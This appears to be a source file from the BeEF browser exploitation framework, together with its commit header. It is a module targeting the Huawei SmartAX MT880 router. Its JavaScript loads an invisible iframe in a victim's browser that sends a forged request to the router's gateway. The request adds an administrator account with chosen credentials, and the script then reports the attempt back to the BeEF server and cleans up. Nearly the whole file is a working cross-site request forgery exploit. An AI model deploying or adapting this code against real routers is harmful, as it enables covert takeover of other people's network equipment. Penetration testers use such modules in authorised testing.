Files
beef/modules/exploits/router/huawei_smartax_mt880/command.js
bcoles 639d0611a6 Add command_id to embedded iframe/img IDs for router exploits
This prevents a race condition where duplicate iframes/imgs are
created if a module is run twice simultaneously. The second iframe/img
was not being removed during `cleanup()`.
2013-05-27 11:56:01 +09:30

25 lines
832 B
JavaScript

//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var gateway = '<%= @base %>';
var username = '<%= @username %>';
var passwd = '<%= @password %>';
var timeout = 15;
var huawei_smartax_mt880_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
huawei_smartax_mt880_iframe_<%= @command_id %>.setAttribute('src', gateway+"Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(huawei_smartax_mt880_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});